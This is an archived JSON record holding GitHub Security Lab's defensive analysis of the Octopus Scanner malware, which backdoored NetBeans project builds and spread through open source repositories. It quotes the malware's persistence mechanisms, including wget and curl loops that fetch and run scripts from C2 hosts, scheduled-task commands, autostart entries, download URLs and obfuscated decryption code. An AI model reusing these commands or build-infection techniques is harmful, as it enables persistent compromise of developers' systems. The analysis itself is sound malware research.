{
	"id": "d0968e94-e85a-47a1-9fd5-a9911cd14cf6",
	"created_at": "2026-04-06T01:32:13.249034Z",
	"updated_at": "2026-04-10T13:11:41.682379Z",
	"deleted_at": null,
	"sha1_hash": "ff1ef3d929736ebbeed35a1fd4c933781999d7e7",
	"title": "The Octopus Scanner Malware: Attacking the open source supply chain",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1048698,
	"plain_text": "The Octopus Scanner Malware: Attacking the open source supply chain\r\nBy Alvaro Munoz\r\nPublished: 2020-05-28 · Archived: 2026-04-06 00:25:47 UTC\r\nIntroduction: The open source supply chain under attack\r\nSecuring the open source supply chain is an enormous task. It goes far beyond a security assessment or just patching for the\r\nlatest CVEs. Supply chain security is about the integrity of the entire software development and delivery ecosystem. From\r\nthe code commits themselves, to how they flow through the CI/CD pipeline, to the actual delivery of releases, there’s the\r\npotential for loss of integrity and security concerns, throughout the entire lifecycle.\r\nIn the past few years the open source supply chain experienced a variety of attacks. From developer credential hijacks aimed\r\nat introducing backdoors, like in the event stream incident, to a seemingly nonstop stream of typosquatting attacks against\r\npopular package managers such as npm and pypi.\r\nSometimes something as innocent as a misinterpreted warning can make a developer comment out a single line to dramatic\r\neffect. The line between backdoor and typo can often be hard to differentiate, and often the circumstances of the commit, not\r\nthe commit itself, are the only clear indication of intent.\r\nMore blatantly, the build pipelines themselves may also be actively compromised, like in the Webmin incident. Other\r\nhistorical examples include making backdoored toolchains available for download that then introduce backdoors in\r\ncompiled code like in the infamous malicious XCode incident.\r\nOn March 9, we received a message from a security researcher informing us about a set of GitHub-hosted\r\nrepositories that were, presumably unintentionally, actively serving malware. After a deep-dive analysis of the malware\r\nitself, we uncovered something that we had not seen before on our platform: malware designed to enumerate and backdoor\r\nNetBeans projects, and which uses the build process and its resulting artifacts to spread itself.\r\nIn the course of our investigation we uncovered 26 open source projects that were backdoored by this malware and that were\r\nactively serving backdoored code.\r\nThis is the story of Octopus Scanner: An OSS supply chain malware.\r\nOctopus Scanner\r\nGitHub’s Security Incident Response Team (SIRT) received its initial notification about a set of repositories serving\r\nmalware-infected open source projects from security researcher JJ.\r\nSIRT routinely receives and triages reports of bad actors abusing GitHub repositories to actively host malware or attempting\r\nto use the GitHub platform as part of a command and control (C2) infrastructure. But this report was different. The owners\r\nof the repositories were completely unaware that they were committing backdoored code into their repositories.\r\nJJ provided a great level of detail about which repositories were vulnerable as well as a high-level description of what the\r\nmalware, dubbed “Octopus Scanner,” was actually doing. They noted:\r\nThe malware is capable of identifying the NetBeans project files and embedding malicious payload both in\r\nproject files and build JAR files. Below is a high -evel description of the Octopus Scanner operation:\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 1 of 12\n\nIdentify user’s NetBeans directory\r\nEnumerate all projects in the NetBeans directory\r\nCopy malicious payload cache.dat to nbproject/cache.dat\r\nModify the nbproject/build-impl.xml file to make sure the malicious payload is executed every time\r\nNetBeans project is build\r\nIf the malicious payload is an instance of the Octopus Scanner itself the newly built JAR file is also\r\ninfected.\r\nEven though the malware C2 servers didn’t seem to be active at the time of analysis, the affected repositories still\r\nposed a risk to GitHub users that could potentially clone and build these projects. Unlike other GitHub platform abuse\r\ncases, the repository owners were most likely completely unaware of the malicious activity, and therefore swiftly blocking\r\nor banning the maintainers was not an option for SIRT. GitHub Security Lab conducted an investigation of the malware to\r\nfigure out how it was spreading and, more importantly, how to properly remove it from infected repositories, without having\r\nto shut down user accounts.\r\nInfection details\r\nAs described by JJ, once a user was infected by the Octopus Scanner, it went on to search for indications that the NetBeans\r\nIDE was in use on the developer system. If that wasn’t the case, it wouldn’t take any further actions. However, if it was\r\nfound, the malware would proceed to backdoor NetBeans project builds through the following mechanisms:\r\n1. It makes sure that every time a project was built, any resulting JAR files got infected with a so-called dropper. A\r\ndropper is a mechanism that “drops” something to the filesystem to execute. When executed, the dropper payload\r\nensured local system persistence and would subsequently spawn a Remote Administration Tool (RAT), which\r\nconnects to a set of C2 servers.\r\n2. It tries to prevent any NEW project builds from replacing the infected one, to ensure that its malicious build artifacts\r\nremained in place.\r\nWe initially planned to get in contact with the owners of the infected repositories, send them a pull request to delete\r\nnbproject/cache.dat , and clean up their nbproject/build-impl.xml files. The expectation was that this might be\r\nenough to clean out the repositories. While this wouldn’t resolve any local infections that affected the developers, it would\r\nhalt the active spread through the GitHub platform as the developers addressed their local platform security.\r\nHowever, a deeper analysis of this malware proved us wrong. These simple steps wouldn’t be sufficient since the malware\r\nalso infected any JAR files that were available in the project, such as dependencies—not necessarily just build artifacts.\r\nEven though we could only access one sample of Octopus Scanner (the build infecter), when reviewing infected\r\nrepositories, we found four different versions of infected NetBeans projects and all but one of them, a downstream system\r\n(for example, someone who cloned an infected project), would get infected by either building from an infected repository or\r\nusing any of the tainted artifacts that resulted from an infected build. The other variant would perform a local system\r\ninfection but leave build artifacts untouched.\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 2 of 12\n\nTechnical analysis\r\nWe started our analysis with a sample of the Octopus Scanner malware, without taking into account any initial infection\r\nvectors. As we can see in the VirusTotal dashboard, this malware has a low detection rate of 4 out of 60, so it could easily go\r\nunnoticed.\r\nVirusTotal:\r\nhttps://www.virustotal.com/gui/file/be8d29f95a9626e2476a74f895743f54451014aab62840770e4f9704980b0ac6/details\r\nVT Detection Rate: 4/60\r\nVT First Submission: 2019-02-02 03:51:36\r\nVT Latest Contents Modification: 2019-01-27 16:19:40\r\nThe following diagram shows the different parts of the malware:\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 3 of 12\n\nThe malware disguises itself as an ocs.txt file, but we can easily determine is is actually a Java Archive (JAR) file:\r\n➜ nbproject_malware/samples master ✗ file ocs.txt\r\nocs.txt.jar: Zip archive data, at least v1.0 to extract\r\n➜ nbproject_malware/samples master ✗ binwalk ocs.txt\r\nDECIMAL HEXADECIMAL DESCRIPTION\r\n--------------------------------------------------------------------------------\r\n0 0x0 Zip archive data, at least v1.0 to extract, compressed size: 100, uncompressed size: 108, name: META-INF/MANIFEST.MF\r\n150 0x96 Zip archive data, at least v1.0 to extract, compressed size: 1614, uncompressed size: 2889, name: octopussetup/Oc\r\n1825 0x721 Zip archive data, at least v1.0 to extract, compressed size: 251377, uncompressed size: 263305, name: resources\r\n253463 0x3DE17 End of Zip archive, footer length: 22\r\nThe JAR Manifest for the first stage dropper shows us that the octopussetup.OctopusSetup.main() method runs on entry.\r\nThen, this method drops the second stage payload to the victim system.\r\nOn UNIX-like systems the first stage dropper will perform the following steps:\r\nextract the second stage payload octopus.dat to $HOME/.local/share/octo\r\ncreate $HOME/.config/autostart/octo.desktop with the following contents:\r\n#!/usr/bin/env xdg-open\r\n[Desktop Entry]\r\nType=Application\r\nName=AutoUpdates\r\nExec=/bin/sh -c \"java -jar $HOME/.local/share/octo\"\r\nThis auto starts the second stage payload for any desktop session for that user. The malware uses the file system separator to\r\ndecide how to proceed. Note that it treats Linux and MacOS in the same way, but the infection only works on Linux\r\nsystems.\r\nOn Windows systems, it:\r\nExtracts the second stage payload octopus.dat to $TEMP/../Microsoft/Cache134.dat\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 4 of 12\n\nRuns schtasks /create /tn LogsProvider /tr javaw -jar $TEMP/../Microsoft/Cache134.dat /sc MINUTE /f to\r\nschedule a task\r\nRuns schtasks /run /tn LogsProvider to actually spawn the scheduled task\r\nThe most interesting part of the malware exists in this second stage payload octopus.dat which, as we can infer from the\r\nway it gets executed, is just another Java Jar file.\r\nInfecting the NetBeans build\r\nThe octopus.dat payload is the binary that actually performs the NetBeans build infections.\r\nVirusTotal:\r\nhttps://www.virustotal.com/gui/file/48bd318d828ac2541c9495d1864ac1fa3bb12806fb1796aa58b94a69b9a7066d/detection\r\nVT Detection Rate: 2/61\r\nVT First Submission: 2019-02-02 08:16:25\r\nVT Latest Contents Modification: 2019-01-27 16:18:54\r\nThe sample we are analyzing belongs to version 3.2.01 of this malware. The versioning scheme is an indication that this\r\nmalware was developed in a structured way. When we take a closer look we can see that it will run the\r\noctopus.OctopusScanner.main() method, which will perform the following actions:\r\n1. Scan $APPDATA/NetBeans or $HOME/.netbeans for\r\nconfig/Preferences/org/netbeans/modules/projectui.properties files. These files contain information about any\r\nNetBeans projects available in the system.\r\n2. Search projectui.properties for openProjectsURLs.XXX entries. These entries represent NetBeans projects by\r\ntheir file:// URIs.\r\n3. Infect each NetBeans project.\r\nFor each project found, the malware will infect it by:\r\ndropping an innocent-looking file called cache.dat into /nbproject/\r\nmodifying /nbproject/build-impl.xml in such a way that cache.dat will get executed as part of the build\r\nprocess itself.\r\nA NetBeans project build consists of multiple steps but the Octopus Scanner malware is only interested in the pre-jar and\r\npost-jar tasks. The pre-jar tasks provide hooks into the build at the point where all Java classes are compiled but before\r\nthey are zipped into a final JAR artifact. The post-jar tasks provide hooks into the build at the point the JAR has actually\r\nbeen created.\r\nIn order to access these build hooks, the malware will search for the following entries:\r\n\u003c!-- Empty placeholder for easier customization. --\u003e\r\n\u003c!-- You can override this target in the ../build.xml file. --\u003e\r\n...\r\n\u003c!-- Empty placeholder for easier customization. --\u003e\r\n\u003c!-- You can override this target in the ../build.xml file. --\u003e\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 5 of 12\n\nFor the pre-jar hooks it will inject a “ subtask that will execute cache.dat (the infecter) for every class added to the JAR\r\nfile:\r\n\u003c!-- Empty placeholder for easier customization. --\u003e\r\n\u003c!-- You can override this target in the ../build.xml file. --\u003e\r\nFor the post-jar hooks it will also run cache.dat but with a different set of arguments.\r\n\u003c!-- Empty placeholder for easier customization. --\u003e\r\n\u003c!-- You can override this target in the ../build.xml file. --\u003e\r\ncache.dat is responsible for backdooring the built classes so that when these classes get executed, they will infect the\r\nunderlying system. We will go into more detail about this in a bit.\r\nAs previously mentioned, during the analysis we found that Octopus Scanner will not stop there. It also scans the “\r\ndirectory for any JAR files and backdoors those in a way that is similar to how cache.dat infects built classes. This last\r\nstep makes it difficult to automatically clean infected repositories. We cannot just delete those JAR files since they are most\r\nlikely required dependencies for the project.\r\nInfecting the system\r\nAt this point in the infection chain, the malware was able to infect both the build artifacts as well as any project\r\ndependencies, but it did not drop any files to persist in the underlying system yet.\r\nThe actual system infection process will be carried out by cache.dat . As with biologic viruses, most malware attempts to\r\nspread as broadly as possible. Infecting systems that were already infected would be moot. Infecting build artifacts is a\r\nmeans to infect more hosts since the infected project will most likely get built by other systems and the build artifacts will\r\nprobably be loaded and executed on other systems as well.\r\nAs we all know, life always finds a way—even virulent digital life.\r\nSince our malware sample uses a hardcoded name for the first stage dropper ( cache.dat ) and because it is always placed\r\nin a static location ( /nbproject ), we were able to query GitHub repositories for any infected projects for the known\r\nvariants of the malware. By doing so we were able to harvest four different samples of this malware:\r\n-rw-r--r-- 1 pwntester staff 14203 Apr 30 12:52 cache.dat_18107f2a3e8c7c03cc4d7ada8ed29401\r\n-rw-r--r-- 1 pwntester staff 142513 Apr 30 12:52 cache.dat_aea4ce82d4207d2e137a685a7379f730\r\n-rw-r--r-- 1 pwntester staff 139898 Apr 30 12:52 cache.dat_bcb745a7dae7c5f85d07b7e9c19d030a\r\n-rw-r--r-- 1 pwntester staff 139898 Apr 30 12:52 cache.dat_dc2e53334b6f20192e2c90c2c628e07a\r\nNote that the first sample has a completely different size. It’s safe to assume that this sample will stand out from the crowd\r\nand the other samples will only have minor differences between them.\r\nLet’s verify that with further analysis of our sample set.\r\n18107f2a3e8c7c03cc4d7ada8ed29401\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 6 of 12\n\nVirusTotal:\r\nhttps://www.virustotal.com/gui/file/13e1f2716a0827b3f8933069319e08d07ea2b949141151a639dd2aef10d81985/detection\r\nVT Detection Rate: 1/61\r\nVT First submission: 2018-08-26 12:48:34\r\nVT Earliest Contents Modification: 2018-03-30 23:34:58\r\nThis was probably one of the earliest, if not the first, version of the malware since this version does not infect the classes in\r\nthe JAR file being built. Instead, it infects the system directly. Therefore this version will only spread through tainted\r\nrepository cloning and building, while the other samples will also spread when any of the resulting build artifacts are loaded\r\nand used. Therefore, for this particular version, the malware was not backdooring the build classes and the diagram is\r\nslightly different:\r\nOn UNIX-like systems it will drop the following files:\r\n1. $HOME/Library/LaunchAgents/AutoUpdater.dat\r\nThis is Java Jar file which runs the fen.Main.main() method which in turn downloads and installs a RAT-like tool from\r\nhttp://ecc.freeddns.org/data.txt and http://san.strangled.net/stat .\r\nThe downloaded RAT is an instance of FEimea Portable App - ver. 3.11.2 which was analyzed by JJ in this blog post.\r\n1. $HOME/.local/share/bbauto\r\nThis is the same as AutoUpdater.dat\r\n2. $HOME/Library/LaunchAgents/AutoUpdater.plist\r\nThis auto-launcher runs the AutoUpdater.dat dropper by running java -jar\r\n\"$HOME/Library/LaunchAgents/AutoUpdater.dat\r\n3. $HOME/.config/autostart/none.desktop\r\nThis auto-launcher launches the bbauto dropper by running /bin/sh -c \"java -jar\r\n$HOME/.local/share/bbauto\"\r\n4. $HOME/.config/autostart/.desktop\r\nThis file will run /bin/sh -c 'while true;do wget http://eln.duckdns.org/se -O -|sh;sleep 60;done' which\r\nwill basically run a script provided by the C2\r\n5. $HOME/Library/LaunchAgents/SoftwareSync.plist\r\nSimilar to the step above, it runs while true;do curl http://eln.duckdns.org/se -o -|sh;sleep 60;done\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 7 of 12\n\nNote the explicit support for MacOS specific launch paths as well as XDG’s .config mechanism which is popular on many\r\nLinux distributions.\r\nOn a Windows system it will drop the RAT dropper into %TEMP%\\..\\Microsoft\\ExplorerSync.db (same as\r\nAutoUpdater.dat on UNIX systems) and then use Java reflection to run the dropper via schtasks /create /tn\r\nExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f\r\naea4ce82d4207d2e137a685a7379f730\r\nVirusTotal:\r\nhttps://www.virustotal.com/gui/file/a7d664bff764bfc2cc6b13c15b2d7d7f09d0e55f0c376a81b64644d85ebe1e0b/detection\r\nVT Detection Rate: 16/60\r\nVT First submission: 2018-05-20 22:22:28\r\nVT Earliest Contents Modification: 2018-04-13 13:10:58\r\nThis version of the malware executes in two stages of the NetBeans build: pre-jar and post-jar :\r\nThe -pre-jar task is responsible for infecting the classes that are about to be jarred. This infection will essentially\r\nreplicate itself as a hidden dropper in these classes so that when they are executed, they will infect the system by dropping\r\nthe same files which were dropped directly by the 18107f2a3e8c7c03cc4d7ada8ed29401 sample.\r\nThe -post-jar task will then create two empty files, .netbeans_automatic_build and .netbeans_update_resources .\r\nThese files are markers denoting that the contents of the build are in an up-to-date state. This bypasses the compile-on-save\r\nmechanism to prevent project rebuilds.\r\nbcb745a7dae7c5f85d07b7e9c19d030a\r\nVirusTotal:\r\nhttps://www.virustotal.com/gui/file/5d49b3a1906167c31a2fb41b6ce65c030a8b5a84c33401bbac4b718b015c9db7/details\r\nVT Detection Rate: 13/60\r\nVT First submission: 2020-03-08 17:58:04\r\nVT Earliest Contents Modification: 2018-09-23 12:51:02\r\nThis version is probably an earlier version of aea4ce82d4207d2e137a685a7379f730. The main difference is in the name of\r\nthe dropped files:\r\n$HOME/Library/LaunchAgents/Main.class instead of $HOME/Library/LaunchAgents/AutoUpdater.dat\r\n$HOME/.local/share/Main.class instead of $HOME/.local/share/bbauto\r\ndc2e53334b6f20192e2c90c2c628e07a\r\nVirusTotal:\r\nhttps://www.virustotal.com/gui/file/01e28d963036b05a26773c2679cfe7b04ffd6dd56506630e7e19a29a2d1e6aee/detection\r\nVT Detection Rate: 5/61\r\nVT First submission: 2019-02-02 12:41:48\r\nVT Earliest Contents Modification: 2019-01-27 16:18:46\r\nThis version is practically identical to bcb745a7dae7c5f85d07b7e9c19d030a and likely a minor release to reduce hash-based\r\ndetection. By making minor changes in the build artifacts of a malware, the authors can throw off the hash-based detection\r\nthat many AV engines and EDR solutions rely on.\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 8 of 12\n\nDeobfuscating the malware\r\nRunning the strings command on cache.dat or the backdoored classes will not render any interesting analysis because\r\nour malware samples actively obfuscate their code to make this harder.\r\nMore specifically, the droppers in our sample set combine three different data blobs, of up to 1024 bytes each, into a single-encrypted data blob by chaining methods such as:\r\npublic static void a447410325() throws Exception {\r\nClass var0 = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName())\r\nSystem.arraycopy(new byte[]{-81, 51, -95, -91, ..., -88, -16, 89, 33}, 0, (byte[])var0.getField(\"a\").get((Object)null), 10\r\nvar0.getMethod(\"a1009916519\").invoke((Object)null);\r\n}\r\nAfter the blob’s reconstruction, it decrypts the encrypted blob with the following routine:\r\npublic static void a1009916519() throws Exception {\r\nClass var0 = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName());\r\n...\r\nbyte[] var3 = (byte[])Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()).getField(\"a\").get((Object)nu\r\nint var1 = 0;\r\nfor(int var2 = 3201; var1 \u0026lt; 3008; var1 += 3) {\r\nvar2 = var2 % 17 - 233 + var2 % 236;\r\nvar3[var1 + 1] = (byte)(var3[var1 + 1] - (~var3[var1] + var2 - (18 - var2)));\r\nvar3[var1 + 2] = (byte)(var3[var1 + 2] - (var3[var1 + 1] - (~var2 \u0026amp; 23) - 133));\r\nvar3[var1] = (byte)(var3[var1] + -var3[var1 + 1] % 51 + (~var3[var1 + 2] | 134));\r\nvar3[var1] = (byte)(var3[var1] ^ var3[var1 + 2] - 30 + var2 % 3);\r\nvar3[var1] = (byte)(var3[var1] - ((var3[var1 + 1] \u0026amp; var3[var1 + 2]) - (var3[var1 + 2] - 1)));\r\n}\r\n}\r\nBeing able to access this decrypted data will give us a good idea of what the malware is actually doing. In order to get to this\r\ndata right after it gets decrypted, we used a Java instrumentation agent that modifies the Bytecode of the class responsible\r\nfor decrypting the blob ( b.b ) right before it actually gets loaded into the JVM.\r\nWe can do this by writing a ClassFileTransformer and then using a Bytecode manipulation library such as Javassist or\r\nByteBuddy to inject our analysis code:\r\nClassPool cp = ClassPool.getDefault();\r\n// Get b.b class\r\nCtClass cc = cp.get(\"b.b\");\r\n// Get decryption method\r\nCtMethod m = cc.getDeclaredMethod(\"a1009916519\");\r\n// Inject code to dump `this.a`\r\nString endBlock = \"org.apache.commons.io.FileUtils.writeByteArrayToFile(new java.io.File(\\\"/tmp/memory_dump\\\"), (byte[]) C\r\nm.insertAfter(endBlock);\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 9 of 12\n\nbyteCode = cc.toBytecode();\r\ncc.detach();\r\nBy inspecting the /tmp/memory_dump file we obtain a much clearer understanding of what the malware is doing:\r\nAnother useful transformation for analysis involves modifying the java.io.FileOutputStream constructor to capture the\r\nnames of the files the dropper in question is writing to:\r\nif (finalTargetClassName.equals(\"java/io/FileOutputStream\")) {\r\nSystem.out.println(\"[IN] \" + className);\r\ntry {\r\nClassPool cp = ClassPool.getDefault();\r\nCtClass cc = cp.get(targetClassName);\r\nCtConstructor[] ctors = cc.getDeclaredConstructors();\r\nfor (CtConstructor ctor : ctors) {\r\nctor.insertBefore(\"System.out.println(java.lang.String.valueOf($args[0]));\");\r\n}\r\nbyteCode = cc.toBytecode();\r\ncc.detach();\r\nSystem.out.println(\"[Agent] Class successfully modified\");\r\n} catch (Exception e) {\r\nSystem.out.println(e.getMessage());\r\ne.printStackTrace();\r\n}\r\n}\r\nThis provides us with a good understanding of which files the malware is initially trying to access.\r\npwntester@pwnlab:~/workspace/octopus-analysis/java_agent$ java -javaagent:Dumper-1.0-SNAPSHOT-jar-with-dependencies.jar -\r\nRegistering transformer for java.io.FileOutputStream\r\n[Agent] Transforming class java/io/FileOutputStream\r\n[IN] java/io/FileOutputStream\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 10 of 12\n\n[Agent] Class successfully modified\r\nDumping: java/io/FileOutputStream\r\n/home/pwntester/.config/autostart/.desktop\r\n/home/pwntester/.config/autostart/none.desktop\r\n/home/pwntester/.local/share/Main.class\r\n/home/pwntester/Library/LaunchAgents/SoftwareSync.plist\r\n/home/pwntester/Library/LaunchAgents/AutoUpdater.plist\r\n/home/pwntester/Library/LaunchAgents/Main.class\r\nConclusions\r\nWhile we have seen many cases where the software supply chain was compromised by hijacking developer credentials or\r\ntyposquatting popular package names, a malware that abuses the build process and its resulting artifacts to spread is both\r\ninteresting and concerning for multiple reasons.\r\nIn an OSS context, it gives the malware an effective means of transmission since the affected projects will presumably get\r\ncloned, forked, and used on potentially many different systems. The actual artifacts of these builds may spread even further\r\nin a way that is disconnected from the original build process and harder to track down after the fact.\r\nSince the primary-infected users are developers, the access that is gained is of high interest to attackers since developers\r\ngenerally have access to additional projects, production environments, database passwords, and other critical assets. There is\r\na huge potential for escalation of access, which is a core attacker objective in most cases.\r\nIt was interesting that this malware attacked the NetBeans build process specifically since it is not the most common Java\r\nIDE in use today. If malware developers took the time to implement this malware specifically for NetBeans, it means that it\r\ncould either be a targeted attack, or they may already have implemented the malware for build systems such as Make,\r\nMsBuild, Gradle and others as well and it may be spreading unnoticed.\r\nWhile infecting build processes is certainly not a new idea, seeing it actively deployed and used in the wild is certainly a\r\ndisturbing trend.\r\nAs such, GitHub is continuously thinking about ways we can improve the integrity and security of the OSS supply chain.\r\nThis includes features such to help detect issues in your dependencies, using Dependency Graph, security alerts for\r\nvulnerable dependencies, and automated security updates; and features to help detect potential issues in your code, including\r\ncode scanning and secret scanning. And of course, we maintain an active response channel and research capability through\r\nGitHub SIRT and GitHub Security Lab, as well as initiatives such as the Open Source Security Coalition.\r\nThanks to JJ (@dfir_it), @anticomputer, @jayswan, @nicowaisman, and @swannysec for the contribution to this research\r\nand blog post.\r\nWritten by\r\nSource: https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 11 of 12\n\nhttps://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain"
	],
	"report_names": [
		"octopus-scanner-malware-open-source-supply-chain"
	],
	"threat_actors": [],
	"ts_created_at": 1775439133,
	"ts_updated_at": 1775826701,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ff1ef3d929736ebbeed35a1fd4c933781999d7e7.pdf",
		"text": "https://archive.orkl.eu/ff1ef3d929736ebbeed35a1fd4c933781999d7e7.txt",
		"img": "https://archive.orkl.eu/ff1ef3d929736ebbeed35a1fd4c933781999d7e7.jpg"
	}
}